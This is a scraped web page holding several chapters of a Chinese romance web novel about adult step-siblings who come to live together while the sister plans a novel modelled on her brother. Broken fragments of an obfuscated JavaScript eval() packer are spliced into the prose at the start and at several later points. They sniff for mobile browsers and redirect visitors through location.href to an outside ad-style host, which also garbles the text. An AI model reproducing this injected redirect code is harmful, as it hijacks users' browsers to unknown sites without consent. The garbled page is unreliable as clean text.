0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144232|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听筒渗透她耳膜,韶真揉了揉耳朵,把手机拿远了一点,点开扬声器。 “已经检查了,身体没问题。”韶真扭了两下脖子,声音放缓,“妈,这算什么大事,您就别操心了。” “这怎么不算大事?”陈怡一向好脾气,此时音量却高了几分,“你都没地方住了,还觉得是小事?” “周……我哥告诉你的?” 陈怡带着气音:“他要是不告诉我,你是不是准备一直瞒着我?” 韶真靠在抱枕上,心底暗戳戳不满:明明答应过不告诉她妈妈的,这人怎么说话不算话。 但很快,她想起来。 他是答应不把在酒吧撞见她点男模的事告诉陈怡,没答应过这件事。 韶真有点后悔,昨晚应该让他保密的。 “妈,就一个月而已,我会找地方住的。” 陈怡听到她不以为然的语气,更加凝重:“回京州吧。妈妈现在就买飞江城的机票,带你回来。” “妈,别别别……”韶真这下慌了,趿拉着拖鞋站起身,“我在江城挺好的,您大老远飞过来干嘛呀!” 陈怡叹息着退了一步,“要么你就搬到你哥哥那里住,有他照顾你,我也能稍微放心。” “妈,你这说得什么话……”韶真企图蒙混过关,含含糊糊地说:“孤男寡女住在一起,这像话吗?” 陈怡被气笑,“那是你哥。” 韶真强调:“又不是亲的。” “但是人家拿你当亲妹妹看待。” “……” “妈,真不能再商量?” 陈怡:“我现在就定飞机票。” 韶真沉默了有半分钟。 在被妈妈带回京州和去周以慎那里暂住之间,她硬着头皮选了第二个。 “行,我暂时先搬到哥哥那里住。” 反正也就一个月。 寄住她很有经验,尽量在这一个月内和周以慎互不打扰。 - 结束和妈妈的电话后,韶真起床觅食。 下午又回家看了看除菌的进度,等到晚上,估摸着周以慎应该已经下班了,她发了一条消息过去。 Verity:【哥,你现在有时间吗?】 发完消息,韶真搓了搓手指尖。 过了几秒,对方回复了。 Eash:【什么事?】 昨晚才拒绝过,现在又要出尔反尔。 说不尴尬是假的。 韶真捧着手机,连耳朵尖都是烫的,她一个字一个字打:【能接我去你家暂住一个月吗?】 按了发送后,韶真感觉自己快要红温了。 有种直接想把手机关机的冲动。 聊天框很快跳出一条新消息。 Eash:【有时间。】 5. 妹妹 半小时后,周以慎驱车抵达酒店附近。 隔着十几米的距离,就看到韶真一个人在路边。 暮色四合,路灯高悬,她坐在行李箱上,整个人被光晕包裹着。穿了件深灰色连帽外套,帽子松松垮垮罩住脑袋,其实看不大清脸,但直觉告诉他,那就是妹妹。 她此刻的样子,像是周五晚上放学,等待家长来接的高中生。 她还没看到他,低着头,指尖在手机上敲敲打打,屏幕的光映亮她侧脸的轮廓。 手机在这时来了一条消息。 周以慎目光掠过。 妹妹:【哥,你到了吗?】 他没回,几秒钟后,将车缓缓停在韶真面前。 大概是他今天开得这辆车她没见过,因此她仰着脑袋,不太确定地透过挡风玻璃往驾驶位看了眼,正巧与周以慎视线撞上。 确认过后,她蹭地一下站直。 周以慎看她的反应,越发觉得像个小孩。那晚在酒吧见到的她,只是一个限定的表象。 他漫不经心勾了下唇,开门下车。 帮她把行李箱放好后,周以慎又重新坐回驾驶位。原以为妹妹会像上次一样坐后排,没想到,她绕了一圈拉开了副驾的门。 本来就是有求于人,韶真怎么好意思还把周以慎当司机。 她坐好后,规规矩矩地系上安全带,为了缓解微妙的尴尬情绪,她先发制人,很卖乖地说了句:“谢谢哥哥收留我。” “收留倒不至于。”周以慎看了眼时间,问她:“晚上想吃什么?” 原本以为周以慎会问她怎么改变主意了。 虽然挺没有面子,但其实她也想好怎么回答了。但他却根本没问这茬,仿佛是自然而然地揭过。 韶真暗暗庆幸了一下。 因为不会做饭,她对吃的一向不挑剔,笑了笑说:“都可以,我不挑食。” 周以慎余光看了她一眼,考量这句话到底是出自真心,还是怕麻烦他的客套。 “回家吃?”他询问。 韶真微讶,脱口而出:“你做饭吗?” 话说出来,她才意识到不妥,这话听着跟命令似的。 她补救似地解释:“我的意思是,哥哥你会做饭吗?” 记忆里,她在周家的那几年,周以慎是在国外读书,回国后就进了公司工作,很少回周家,她也从没见过他进过厨房。 周以慎哼笑一声,从她话里听出些意味。 事实上,从他独居以来,除了工作日中午会让固定的餐厅送餐到公司外,其他时间他通常会选择自己下厨。 他略微颔首,自谦道:“水平一般,但能吃。” 韶真没细想这句话的真实性。 “能吃”就属于她可以接受的范围,并且,周以慎能做到这种程度,已经让她很意外了,毕竟这人可是含着金汤匙出生的大少爷。 韶真由衷称赞:“会做饭已经挺厉害了。” 这话听起来挺真情实感,周以慎弯唇笑笑,猜测出妹妹大概率不会做饭。 到前边红绿灯路口时,周以慎驱车右拐,驶入一家连锁大型商超的停车场。他解释:“家里的食材不多了。” 客随主便,韶真没意见。 这个时间点,超市的客流量挺大。 韶真回江城后一直很宅,从来没有在晚上出门逛过超市,一下子看到密集的人群时,有种久违的感觉。 她原本跟在周以慎身后,走了一段,距离拉开,中间隔了两三个人。 周以慎停下等她:“走我前边,省得跑丢。” “……” 韶真想反驳:她又不是小孩子。 但张了张嘴又把话咽下,没办法,人在屋檐下不得不低头。 韶真走在前边,先他一步推了辆购物车。 而后习惯性地直奔速食食品区,方便面和自热米饭是必囤的,冷冻的汤圆和饺子也可以来两袋,一煮就熟,很省事。 韶真在纠结选什么口味。 周以慎站在一旁,面无表情地扫过一整面货架各式各样的速食食品,而后将目光挪到韶真身上,扯了下嘴角:“倒也不至于对你哥的厨艺这么……没信心。” 韶真讪讪地笑了下。 差点忘了,这次不是自己一个人逛超市。并且,他来做饭,食物的采购权在他手中。 不过,她还是拿了一袋组合装的泡面放进购物车,“还是买点吧,我总要自己做饭的。” 本来住他那里就已经很打扰了,韶真怎么还意思一直让他做饭,况且,他平时还要上班。 周以慎眉尾略抬,“这么确定?” 韶真没太懂他什么意思,迟疑地点了下头。 周以慎沉默了下,没再说什么,推着购物车偏过头看了一眼,示意她往前走。 前边是零食区,韶真眼前一亮。 她礼貌地询问:“哥,你不介意……我在你家吃零食吧?” 她说话时,盯着他看,一双眼睛里盛着期待,亮晶晶的。 “不介意。”周以慎推着购物车,慢悠悠跟在她身后。 因为喜欢宅家,韶真每次买零食都会买很多。这次也不例外,等她反应过来的时候,购物车已经被填满一半了。 再拿出来一些……好像更尴尬。 “哥,要不我来推吧?” “没事。”周以慎拿了盒蓝莓味的奶酪棒,问她:“这个要吃吗?” 那语气,跟哄小孩也差不多。 韶真甚至都有些好奇,他是从什么时候开始沉浸在哥哥的角色里了。 “哥,我不是小孩了……” 周以慎并不觉得有什么奇怪的,淡淡道:“不是小孩也可以吃。” 奶酪棒最终还是躺在了购物车里。 接下来是到肉类和蔬菜区,这就触及到韶真的知识盲区了。她主动申请推购物车,这次周以慎倒没拒绝。 他挑选食材的时候,会问她忌口。 除此之外,就没什么多余的话了。韶真想起之前和妈妈一起逛超市,妈妈总是会在一边选一边念念有词说这个是要做一道什么菜。 但周以慎没有,他似乎挺沉浸这一过程,专注而沉默,这让他看起来非常专业, 韶真不禁开始怀疑,他说得“水平一般”到底是真的假的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144233|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一大圈下来,购物车满满当当。 收银台排队的人太多,周以慎推着购物车径直去了自助结账机前。 韶真跟在他身边,有点奇怪购物车是从什么时候又跑到了他手中。 周以慎扫描完商品条码,很自然地顺手装进购物袋,以至于让韶真想表现一下都找不到机会。 也不知道是注意到她在一旁有些局促,还是因为购物车里剩下没扫描的都是她选的零食。 周以慎又拿了个新的购物袋递给她,眼神一点,“帮个忙。” 韶真很乐意地上前,在他扫描完后,把零食一件一件装进购物袋。确实挺多,一个大号购物袋装不下,又装了一个中号。 期间,旁边的机器前是两个男生正在结账。 韶真背对着他们,原本并没有看到的,但两个男生在聊天,离得近,对话一清二楚地传进她耳朵里。 “现在的女生就是太物质了。” “确实。” “我那前女友,每次跟她出来逛超市,买一大堆的零食,都是我结账……” “……” 韶真低头看了下装了两袋购物袋的零食,莫名感觉自己被内涵到了。 她默默在手机上调出付款码,预备等下主动结账。 界面刚刚打开,甚至付款码还没有刷新出来,手机屏幕蓦地被人按熄。 韶真怔住,保持着握着手机的姿势好几秒钟。 刚刚周以慎的手触碰到她指尖,又转瞬即离,像是被小狗尾巴不轻不重地扫过。 韶真仰头,“哥?” 周以慎眼睫低垂,注视着她,唇角勾着要笑不笑的弧度,“跟哥哥,没必要计较这些。况且……” 他停顿了下,在那两个男生结完账经过时,懒懒地瞥了眼,意有所指地接上后半句:“什么时候连买零食都算物质了?” 两个男生明显听到这句话,停下脚步,气势汹汹地回过头,看到周以慎后又瞬间气焰熄了不少。 不单是身高的碾压,还有周以慎整个人散漫从容的劲,如果不是足够优渥的人生很难养出这种感觉。 通常,这种人不较真还好说,一旦较真什么事就不是轻易能收场的。 两个男生对视一眼,识趣地加快脚步。 周以慎提着购物袋,低嗤了声,低头教导妹妹:“谈恋爱可不要找这种,听到了吗?” 韶真刚处在紧张的状态中,真以为那两个男生要来找事,结果对方雷声大雨点小,灰溜溜地走了。 她还没回过神,听到周以慎的声音,下意识仰头看向他。 毫无防备的,撞进一双漆黑瞳孔。 他整张脸棱角分明,偏硬朗些,其实挺能让人产生距离感的,但唯独这双眼睛格格不入。睫毛纤长柔软,眼型轮廓流畅,细看之下,有种湿润感,像小狗的眼睛一样。 就好像,一个看起来不好惹的冷脸拽哥,居然会垂着一双湿漉漉的眼睛跟你说话。 韶真一时之间有点想不起他说得什么,只茫然地“嗯嗯”两声。 下一秒,周以慎眉梢微挑,拖着腔调说:“怎么?还真想谈恋爱啊?” 6. 妹妹 车驶进江湾壹号的时候,韶真正半眯着眼歪头看车窗外的风景。 这些年没回江城,变化大得让她有点陌生。尤其是市中心毗邻江湾这一片,新开发的楼盘比肩接踵。 车又开了一段,两旁的绿化覆盖率极高,再往里进入地下车库,视野逐渐暗了下来。 负一层有直通的电梯,周以慎刷了卡后,楼层号不断攀升,直到32层戛然而止,电梯门在“叮”的一声过后缓缓打开。 整层就只有一户。 周以慎输完密码锁,偏过头看她,“密码是我手机号码后六位,电梯卡我已经让物业再送一张上来。” 这话就像是登堂入室的许可。 韶真莫名心跳得有些快。 以前在京州时,周家的宅子很大,韶真与周以慎的住处相距甚远,由于不熟且他又常年不在家,韶真很自觉地从不靠近他的领域。 当时从没想过,有一天会与他同住。 韶真跟着周以慎进了玄关。 入目就是简约现代的风格,黑白灰的色调为主,内嵌的线条灯光线柔和,很好的中和了冰冷感。 踏入一个完全陌生的区域。 韶真难免有些拘谨,手掌无声无息地攥紧行李箱的拉杆。 周以慎将手里提着的购物袋放在一旁橱柜,弯腰从鞋柜里拿了双拖鞋递给她。 米白色,有一只小羊的刺绣,很明显的女款。 周以慎说:“新的,你的鞋码。” “谢谢哥哥。” 客厅比韶真预想的还要大,装修风格和玄关处相似。低饱和色的家具,没有冗杂的装饰,更显得空间开阔。 全景落地窗能将夜幕一览无余,窗外露台上,月光的映衬下可以看见植物的轮廓,蓬勃的枝桠和叶片。 显然,被人精心修剪,照料得很好。 原来,他还会侍弄花草。 相比之下,更显得她的生活是在凑合。 “这是你的房间,床单和被罩都是新的。房间里有浴室,你可以先洗个澡再出来吃饭。”周以慎抬手指了下最里边的一扇门。 这间是次卧,从他搬进来之后就一直空着。 韶真点头说“好”,拖着行李箱推开门。 行李箱里东西并不多,除了妈妈送的镯子被她放在夹层深处、还有她的笔记本电脑,其余都是一些换洗的衣服,家居服居多,她带了三套。 毕竟她不常出门,穿得最多的就是家居服。 卧室是个套间,除了带有浴室之外,还有一方衣帽间。 韶真从行李箱里翻出衣服,一件一件挂在衣帽间。全部挂完也只占了很少的位置,其他地方都空荡荡的,显得有些违和。 不过没办法,她只是暂住,又不是要一直住在这里,怎么可能把衣帽间挂满。 浴室里洗漱用品一应俱全,还都是全新未拆封。韶真边拆边寻思,只住一个月,到时候如果用不完实在有些浪费。 这么想着,洗澡的时候韶真多挤了几泵。 顿时,浓郁的柑橘香味充满整个浴室。 韶真洗澡很快,头发吹至半干,换了套鹅黄色的格子家居服出来。她不太在意这个,毕竟以前在周家的时候,也有过穿着家居服出现在周以慎面前。 因为是开放式的厨房,她一眼就看了周以慎的身影。 他站在厨灶前,微微低头用汤勺在电饭煲里翻动,氤氲的热气模糊了他的侧脸。 上衣原本是很宽松的款式,但由于他系着围裙,两条带子在他腰间轻轻一绕,恰到好处地勾勒出紧实的腰身。 距离韶真上一次这么近距离地看男人做饭,还是她爸妈没离婚的时候,韶延在家做饭的样子。 那时候她就觉得,男人做饭有种说不上来的感觉,说贤惠似乎也不太恰当。直到后来她才明白,原来这叫……人夫感。 这只是一个形容词。 但不应该是她对哥哥的形容。 韶真深深地吸了口气,企图将这个画面从脑海中抹去。 周以慎转身从岛台拿东西,看到韶真站在原地发愣,头发半干不湿的披在肩上,“怎么不把头发吹干?” 韶真回过神,“我想来帮你打下手的。” “不用,我习惯一个人做饭,有人在旁边反倒会不自在。”周以慎从橱柜里拿出餐具,盛粥,“饿了吗?” 韶真轻轻点头,“有一点。” 她主动帮忙把饭菜端到餐桌。 白灼菜心和青椒牛肉,以及小米粥。 单看色泽和香味,绝对不是周以慎口中所说的“水平一般,但能吃”,简直就是让人很有食欲的程度。 韶真抿了抿唇,摆完筷后就老老实实地坐在餐桌前等周以慎过来。但吃了一个月外卖和速食的胃很难抵抗这样的诱惑,发出轻微的声响。 幸好,哥哥还没过来,也没有听见。 韶真摸出手机,借此转移注意。 陈怡在这时发过来一条消息。 A妈妈:【到你哥那里了吗?】 韶真打字回复:【到了,正要吃饭。】 那端,陈怡看到这条消息笑得欣慰。她深知女儿厨艺基本等同于无,那么做饭的一定是周以慎。 想象出一幅兄友妹恭的温情画面,陈怡忍不住跟丈夫说:“以慎那孩子,居然还会给妹妹做饭。” 一旁的周钧礼稍显惊讶:“他什么时候学会做饭了?让我看看做得什么菜?” 韶真回完陈怡的消息就将手机放在一旁。 周以慎摘了围裙,洗过手往这边走。袖口是挽着的,露出一段线条流畅的小臂,随意拉开椅子坐下,“等我做什么,饿了就先吃。” 这话多半只是场面话,韶真没当真。 反而问他:“哥,你什么时候学得做饭呀?” 周以慎之前从未给除自己以外的展示过厨艺,因此也是第一次被问到这个问题。他稍一顿,才说:“在国外留学的时候。” “这样啊。”韶真想再说些什么,微信的通话铃声突兀地响起。她拿起手机,是一通来自于“A妈妈”的视频通话。 吃饭时接电话多少要顾及一下对面的人。 韶真略带抱歉地朝周以慎笑了下,“是我妈。” 周以慎看她一眼,唇角勾勒出一点浅浅的弧度,漫不经心地说:“没事,接呗。陈姨总是这么关心你……” 他耷拉下眉眼,夹了道菜,语调很轻很低,像是在对自己说,“挺好的。” 韶真耳边都是铃声,没听清他后半句话。 她点了接通,屏幕里陈怡笑得温婉,“吃得什么?拍一下菜,让妈妈看看。” 还以为是有什么重要的事呢。 韶真表情无奈:“妈,想看的话我给你拍张照片就行了,干嘛还要打视频呀?” 虽然嘴上这么说,但她还是依言翻转了镜头。 那头陈怡回她:“当然是因为想你了。” 原本韶真是前置摄像头对准自己的脸,翻转过后,水平对准的是周以慎。镜头中,他低着头,韶真敏锐地察觉到他似乎和刚才有点不太一样。 她动作顿住,视频画面也定格在周以慎身上。 陈怡起初还以为卡了,过几秒才笑道:“让你拍你的菜,你拍你哥干嘛?” 韶真:“……” 在听到这句话后,周以慎缓缓撩起眼皮看她,漆黑的瞳孔里,有不可言说的情绪翻涌。 他一直觉得,吃饭是一件很温馨的事,尤其是有人陪着。每当这种时刻,他总会想起他的母亲——一个记事起就从没有陪他坐在同一张餐桌吃饭的女人。 印象中,母亲的眉眼总是时时流转着忧郁。 她不爱他父亲,也不爱他。 她有一个白月光,被家里拆散,白月光死在了他们最相爱的那一年。 再然后,在他二十岁那年,母亲也郁郁而终。 他的整个成长时期,几乎都在母亲的漠然和父亲的繁忙中度过,孤独对他来说像随行的影、跗骨的疽。 那时候,他很希望能有一个妹妹。 绝对的、独一无二的陪伴与相依。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144234|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>后来,他真的多了一个妹妹。 但妹妹与他没有血缘关系,妹妹有妈妈的陪伴,妹妹和他不熟,也不需要他。 直到,妹妹一个人回了江城。 他不敢深究,每次说“答应了我爸会照顾你”时,到底有没有包含私心。 …… 周以慎不知何时放下了筷,支着下颌看她,依稀可见手臂上的青色脉络。他低低笑了声,语气听着像在开玩笑,却又夹杂着一起说不清道不明的意味。 “怎么?我是你的菜吗?” 这话很有歧义。 韶真的耳垂悄无声息染上一层薄薄的粉,她不太确定周以慎说得时候,有没有这一层意思。 一时不知道该怎么回答,索性下移镜头,对准餐桌上的菜,对着手机说:“妈,你看过了,这下可以了吧?” “可以了。”陈怡并未察觉到这边的微妙氛围,仍笑着说,“你周叔叔还有话要说。” 韶真把摄像头又翻转回来,跟周钧礼问了声好。对方笑笑说,“住你哥那里别觉得不好意思,这是当哥哥应该的。把手机给他,我交代两句。” 韶真缓缓把手机往前递了递。 手臂悬空不过几秒,周以慎伸手接过手机。 他不像韶真那样端端正正地脸对着镜头,而是拿得很散漫,大抵只能露出小半张脸。 周钧礼已经习惯他这副态度,直接交代道:“你小子可别欺负妹妹。” 周以慎哼笑的声,没有立刻说话,而是盯着屏幕看了须臾,在思考他爸是怎么说出这么匪夷所思的话。 “爸,首先,我已经二十六了,不是青春期的无聊小男生。”他以一种平静的语调接了后半句,“其次,我不是禽兽。” 韶真张低头喝粥,听到这句话险些呛到。 周钧礼音量高了些,“你也知道你都二十六了,还不着急结婚。这就算了,你连恋爱都不谈……” 估计这才是他爸真正想说的事。 周以慎懒得听这种老生常谈,他别过脸,屏幕对准后墙,说了句:“信号不好,挂了。” 视频挂断,他把手机递回给韶真。 终于又回归安静。 因这一通电话的打扰,之后两人都很安静地吃饭。韶真纯是因为电话耽误了时间,怕不吃快点饭菜就凉了。 但据她观察,周以慎应该是被烦到,现在懒得说话。 晚饭过后,韶真主动提出洗碗。 “不用。”周以慎站起身,似乎又恢复了温和好哥哥的形象,抬手一指,“厨房里有自动洗碗机。哦,对了……” 他想了想,跟她讲:“洗衣机是全自动带烘干,扫地机器人也附带洗拖功能。所以家务不需要你来动手。” 韶真沉默片刻,回想起之前跟徐语宁说想谈个男朋友给她洗衣做饭打扫卫生。谁能想到,短短几天,她就过上了理想中的生活。 各自回房间前,两人简单地沟通了一下彼此的作息时间。 在得知韶真凌晨三点睡是常态后,周以慎有了短暂缄默,而后唇角略抬,表示不会在早上打扰她。 韶真也礼尚往来,表示不会在深夜发出声响影响到他。 凌晨两点,韶真闭着眼睛躺在床上,翻来覆去没有困意,脑海中浮现的画面是,周以慎系着围裙做饭的样子。她甚至清晰地记得,他腰间系着的带子是单结。 灵感宛如破土的芽,她开始觉得,徐语宁所说的“现成的素材”、“伪骨科”,不失为一个好的建议。 道德感此刻在摇摇欲坠的边缘。 韶真猛地坐起身,深深地平复着呼吸。 次日睡到临近中午,周以慎已经去上班了,现在这套接近三百平的大平层内,就只有韶真一个人。 她想起昨晚在超市买的方便面。 好像是被周以慎放进了岛台旁边的收纳柜。 她往厨房那边走,然后看到岛台的岩面上贴了一张便利贴。 韶真撕下来,上边的字迹干净利落。 写着:你的午饭在保温里,记得吃。 7. 妹妹 韶真拉开保温机的抽屉,是一份番茄虾仁意面和黑松露蘑菇浓汤。 她愣了下,一时不知道该说是房间的隔音效果太好,还是她睡得太沉。竟然丝毫没有察觉,周以慎是什么时候起床、什么时候做了饭,又是什么时候出门上班。 不同于以前在周家,担心被当作没礼貌,早上总会定好几个闹钟按时起床。现在她在周以慎这里,反倒没有太多顾虑,或许是因为他不是传统意义上的长辈,又或许江城是她从小长大的地方,磁场让她更自在。 韶真说不太清。 只知道,住在周以慎这里,和她以前在周家的感觉不同。 香味丝丝缕缕地钻进鼻腔,她把午饭端上餐桌,摸出手机给周以慎发消息:【谢谢哥哥的午饭。[愉快.jpg]】 那边估计是在忙,过了几分钟才回她消息。 Eash:【做早餐的时候顺便做了你的一份。】 Eash:【以后不用专门发信息,我不想每天打开微信都看到你在道谢,有点像固定NPC。】 吃人嘴短,韶真自动忽略后边那句话,聚焦点全在“每天”两个字上。 她用叉子卷着意面送进嘴里,斟酌许久发过去了一句:【哥,每天是什么意思?】 是可以每天都给她做好吃的饭吗? 发完消息,韶真目光从屏幕移开。 阳光透过落地窗照进来,在地板上勾勒出温暖的轮廓。她眯了下眼睛,盯着露台上茂盛的绿植看。 提示音响了下,她低头。 Eash:【就是你想得那个意思。】 - 韶真饭吃到一半,徐语宁一通视频电话弹了过来。她接通后,把手机支好,继续埋头吃饭。 徐语宁那边在商场,声音有些嘈杂,她用手指戳着一个米白色的毛绒小熊,问道:“像不像你?” 韶真抬眸,认真看了好几眼,愣是没看出有哪点相似,她摇摇头,“不像。” “很像的好吧?你仔细看看。”徐语宁把小熊摆正,对准镜头,“你晚上可以抱着睡觉,省得一个人住害怕。而且,我已经付款了,不许不要。” “我又没说不要。”韶真笑了下,想要解释自己现在不是一个人住。但话还没说出口,被徐语宁兴奋上扬的语调给堵了回去。 “哇塞,刚才都没注意,你这饭看着好好吃呀!这是哪家西餐厅?看着环境超棒,我也要去打卡!” 韶真:“……” 她拿起翻转镜头,三百六十度拍了一圈,然后说:“哥哥家餐厅,你要来打卡吗?” 徐语宁:“……” “我靠,你们什么时候同居的?!” 韶真提醒:“注意措辞!” “同居”这个词太暧昧了,怎么能放在她跟周以慎身上。她抿了抿唇,简单地将事情的起因和结果跟徐语宁讲了下。 徐语宁听完,“啧啧”两声,忍不住说:“住在一起这么近距离观察的好机会,你不写一本骨科真是白瞎了。” 韶真眼睫颤了颤。 回想起自己凌晨睡不着时的念头,她神色有些许不自然,低着头喝了一口汤,心底仍保留着一丝底线:“但是这不道德啊。” 徐语宁轻描淡写:“那你就征求同意呗。” 征求同意? 韶真几乎都以为自己听错。 难道要她去当面问周以慎“哥,我能写一篇以你为原型的骨科文吗?”,那大概要被当成想法奇怪、心理扭曲、感情畸形的bt妹妹了。 这太不正常了。 韶真拧了拧眉:“这种事你让我怎么开口?” 徐语宁神秘兮兮地勾起一抹笑,“当然是旁敲侧击了,我教你……” - 下午三点整,新助理进来送咖啡,周以慎从文件中抬起头,淡淡道:“放这吧,辛苦。” 之前的助理小王被他调到其他部门了,因为一句话开除倒不至于,他没那么小题大做。只不过是觉得说话太没分寸感的人,很难胜任助理的岗位。 新助理小林沉稳许多,进了办公室后眼神不乱看,放下咖啡便道:“周总,没其他安排的话我就先出去了?” “等下。” 小林站得更直了些,全神贯注,准备倾听上司接下来的工作安排。 “帮我找一家附近评分最高的甜品店。” 小林有一瞬间的僵硬。 他记得交接工作时,在注意事项里有一条:周总不爱吃甜品。公司下午茶的甜品周总从来不碰,咖啡也从不放糖。 如果不是自己吃,那么买甜品是给谁呢? 小林深知关于上司的私事,绝不是他该过问的。他缓了缓神色,点头道:“好的周总,稍后我把整理好的内容发给你。” 小林转身,将门带上后离开办公室。 周以慎目光又落回面前的文件,他一贯工作专注,此刻却难得分神。 他想到一段话:在行为心理学中,人们把一个人的新习惯或理念的形成并得以巩固至少需要21天的现象,称之为21天效应。 而他有一个月的时间,可以让妹妹对他产生依赖,从而变成习惯。 在过去的五年里,他们之间一直维持着浅薄而表象的兄妹关系,就像一根摇摇晃晃一扯即断的丝线。 他从前以为,他可以接受。 但在江城再见到她时,他对此做了另外的决定。他想亲手、一点点地将丝线捆牢。 在她十七岁那年,他向她递出的橄榄枝,没有得到回应。没关系,他可以再重新递给她。 - 韶真下午的时候准备好零食,窝在沙发上看电影。从昨天晚上她就注意到这面150英寸的电视,几乎占据了大半个墙,视觉效果堪比电影院。 她找了一部很经典的科幻电影《银翼杀手》。 电影进程到三分之一的时候,韶真在不知不觉中睡着,等醒来时,电影播放到了经典片段,仿生人Roy在雨中的独白。 韶真耐心地听完这段,然后关掉电视。 将桌面上的零食收拾干净,确保没有任何碎屑掉落后,她看了眼时间。 周以慎应该快回来了吧。 她将准备好的措辞又在脑海中预想一遍。 十五分钟后,开门的声响传来。 韶真看过去,微微一笑:“哥哥,你回来了。” 干净动听的声线,像小猫的绒毛般乖巧柔软。这是周以慎搬到江城这三个多月以来,第一次打开门,有人在家中等待。 他的眉眼不自觉柔和下来,扬了下牛皮纸手提袋,漫不经心地说:“公司下午茶准备的甜点,我吃不惯太甜的。你看一下,喜欢的话以后下班回来我都给你带。” “以后、都”以及他中午说得“每天”,让韶真莫名有种一个月的有效时间仿佛被无限延长的感觉。 韶真接过袋子,低头看了下,有蓝莓慕斯、半熟芝士和曲奇饼。她眨眨眼,默默感慨哥哥公司的下午茶规格也太高了,而且从下午到他下班回家的这段时间,甜品居然都还像刚做好那样新鲜。 “谢谢哥哥,我很喜欢。”韶真顿了下,又说:“不过不用每天都带,我怕会长胖。” 这是实话,她不爱运动,又爱吃零食。不只是回了江城之后,以前在京州上大学也是,只有假期回周家会节制一点。 可能是主食吃得不多,又或许体质不易胖,这种乱七八糟的饮食习惯下,她体重竟然还一直维持在九十五斤左右,对于她的身高来说很匀称。 但如果再每天吃甜食的话,很难保证不发胖。 她想了想,伸出一个手指:“一周一次就好。” 在她说完这句话后,周以慎挂外套的动作停住,斜挑着眼看她,眸底闪过一丝微妙。 韶真以为他是觉得她不识好歹,思虑片刻,她又缓缓地伸出一根手指:“那……一周两次?” 周以慎没说话,又或者说,他不知道该怎么回答。 韶真仍没觉得哪里不太对劲,她自顾自地继续说:“不能再多了,要有点节制……” 她话还没说完,周以慎深深地吸了一口气,似忍无可忍般轻“咳”一声,打断了她。 直到此时,韶真才后知后觉地反应过来,自己在说什么。 “……” 她整个人僵住,连呼吸都停滞,甚至能清晰地感知到,脸颊连同脖颈的皮肤都在微微发烫。 好在,周以慎妥帖的照顾了她的面子。 他偏过头没有看她,在挂完外套后径直走向卧室,“我先去换身衣服。” 他的身影没入主卧,约莫两秒,又折回将卧室门带上,关门的声响不轻不重。 “……” 韶真手掌心攥得死紧,步伐僵硬地去洗了把脸。呼吸依旧有些紊乱,她努力平复着,抬头面无表情看向镜子中的自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144235|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 死嘴,正事一句话没说,净说些让人丢脸的话。 她搓了搓脸颊,过了几秒,仿佛下定决心般,转身走出卫生间。 周以慎也换好了居家服出来。 缓解尴尬最好的方法就是揭过不提。 韶真深谙此道,装作一副无事发生的样子,弯着眼睛,唇角轻轻牵起,露出一个很标准又乖巧的笑容:“哥,有件事情想征求你的意见。” 时至此刻,她才终于说出预想好的第一句话。 “什么事?”周以慎走向厨房,系围裙的动作异常熟练。 韶真目光低垂,看着那双玉质般温润的手,指尖绕着两条带子慢慢系了个单结。她难以避免的,生出了把这个画面用文字记录下来的念头。 她抬起眼眸,将神思拉回来,然后回答:“我想写网文,希望哥哥能给我一些意见。” 周以慎靠着岛台边缘,站得不算直,注视着她好一会儿,才缓缓说道:“做自己喜欢的事情,挺好的。” “那……”韶真带着试探性地接着问,“哥哥会支持我吗?” 她的语气听起来无比认真。 但周以慎却窥见,她诚恳的目光中似乎藏着一种不为人知的狡黠,就好像一只怀揣着算计的小动物。 直觉她所说的支持应该不止表层含义。 可他还是面不改色地温和一笑:“当然。” 在他话音落下的同时,他看到妹妹的表情瞬间灵动起来,眼底闪着一层细碎的光,仿佛月亮揉碎在湖水里。 他知道这种反应,是计划被实现,又或者说,得逞。但他并不在乎。小动物的算计又能恶劣到哪里去? - 当天晚上,韶真洗漱过后,只开了床头的一盏夜灯。她坐在床上,后背靠了两个枕头,笔记本电脑屏幕的光漂浮闪烁。 有原型的小说往往是现实故事再加上艺术创作。 在敲下文字之前,她陷入了回忆,像是一点一点拨开褪色的旧照片。 那一年她十七岁,母亲再婚嫁给了京圈富豪,她带着行李与母亲一同北上,那是她第一次见到周以慎。 